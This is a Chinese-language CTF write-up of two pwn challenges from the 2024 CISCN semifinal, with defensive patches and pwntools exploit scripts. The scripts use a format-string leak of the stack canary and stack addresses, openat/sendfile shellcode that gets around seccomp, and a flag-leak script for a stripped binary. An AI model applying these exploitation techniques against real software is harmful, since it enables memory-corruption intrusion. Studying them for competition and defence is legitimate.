# 2024Ciscn 国赛心得
前言
今年总的来说,pwn方向两道题都不是很难。虽然一道都没给做出来。还是由于经验不足导致的吧。首先第一道pwn的话,在本地是能读取到flag文件,但是远程就是不能去读取flag,线下询问了一个华东北第二名队伍的pwn师傅,才知道远程打开flag的fd并不是3,而是5,是openat的rax的值,真是学到了不少东西。第二道是将符号表全都去掉,因为第一题一直以为是栈的问题在不断调试,导致第二题光fix并没有去做。
# pwn_1
# fix
将 0x80-> 改为 0x50 即可
# break
NX 关闭,栈可执行,往栈上写入 shellcode,利用格式化字符串,泄露 stack 地址,从而控制返回地址返回到 shellcode 处。
禁用 open、readv、writev、和 exev 系列。
可以利用 openat、read、write、sendfile。
可惜一直忘记用 read、write。以为是栈的问题,结果是远程的 fd 和本地的 fd 不一样导致的。
利用格式化字符串泄露 canary 和 stack 的地址。
pl = b'%17$p' | |
sla(b'2: get name\n','1') | |
sa(b'->set name\n',pl) | |
sla(b'2: get name\n','2') | |
ru(b'0x') | |
canary = int(rc(16).decode().replace('\n',''),16) | |
pl = b'%25$p' | |
sla(b'2: get name\n','1') | |
sa(b'->set name\n',pl) | |
sla(b'2: get name\n','2') | |
ru(b'0x') | |
stack_addr = int(rc(12).decode().replace('\n',''),16) - 0x118 - 0x60 |
接下来 ret2shellcode 就行
shellcode = shellcraft.openat(-100,"flag\x00",0) | |
shellcode += shellcraft.sendfile(1,'rax',0,0x50)#fd 要是 rax 不能是 3,否则读不到远程 flag | |
pl = b'\x90'*0x10 + asm(shellcode).ljust(0x40-8,b'\0') + p64(canary) + p64(stack_addr) | |
print(hex(len(pl))) | |
sla(b'2: get name\n',b'1') | |
sa(b'->set name\n',pl) | |
sla(b'2: get name\n',b'-1') |
下面是自己写的 openat + read + write 的汇编。
shellcode = asm(''' | |
push 0x67616c66 | |
mov rsi, rsp | |
push -0x64 | |
pop rdi | |
xor edx, edx | |
mov eax, 257 | |
syscall | |
mov edi, eax | |
mov rsi, {} | |
mov edx, 0x40 | |
xor eax, eax | |
syscall | |
mov edi, 1 | |
mov rsi, {} | |
mov edx, 0x40 | |
mov eax, 1 | |
syscall | |
'''.format(addr,addr)) | |
print(hex(len(shellcode))) | |
pl = shellcode.ljust(0x40+0x8,b'\0') + p64(canary) + p64(0) + p64(stack_addr) | |
print(hex(len(pl))) | |
sla(b'2: get name\n',b'1') | |
dug() | |
sa(b'->set name\n',pl) | |
sla(b'2: get name\n',b'-1') | |
it() |
# pwn_2
不得不说,去符号表属实难看。唉,怪我忘记恢复符号表了,rizz 的恢复符号表的效果一言难尽。
在这里特别感谢 eastXueLia 师傅,浇我使用 flare 恢复符号表。以前恢复符号表各种碰壁,终于有一个可以恢复符号表特别有用的方式了!
# fix
利用 flare 恢复符号表之后
在这里将 /flag 名字改一下,就能防御成功。
# break
add
分配一个空间,并向其写入 8 字节大小的数据
check
在这里会把 flag 读入一个位置。
get
这里可以完成 flag 的泄露
只要找到将 flag 写入内存内,并找到,使用 get 即可找到 flag (本地测试是这样,远程应该还会出啥幺蛾子吧)
from LibcSearcher import * | |
from pwn import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# host, port = "47.103.122.127:30175".split(":") | |
# r = remote(host, int(port)) | |
# r = gdb.debug('./pwn') | |
r = process('./pwn2_') | |
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') | |
# libc = ELF('/home/h711/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') | |
elf = ELF('./pwn2_') | |
# ld-linux-x86-64.so.2 | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
sea = lambda delim, data : r.sendafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda : r.recvline() | |
ru = lambda delims : r.recvuntil(delims) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
pack = lambda str, addr : p32(addr) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
it = lambda : r.interactive() | |
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) | |
''' | |
1: ls flag | |
2: add flag | |
3: edit flag | |
4: del flag | |
5: get flag | |
6: check flag | |
''' | |
ru('6: check flag\n') | |
sl('2') | |
ru('6: check flag\n') | |
sl('6') | |
x = 0x4ef784 | |
flag = 0x4efaf0 | |
ru('6: check flag\n') | |
sl('5') | |
sl(str(flag)) | |
it() |
粘几篇 blog 吧
2024 CISCN 华东北分区赛 - Ahisec-CSDN 博客
2024 全国大学生信息安全竞赛(ciscn)半决赛华东北赛区 Pwn 题解 - CSDN 博客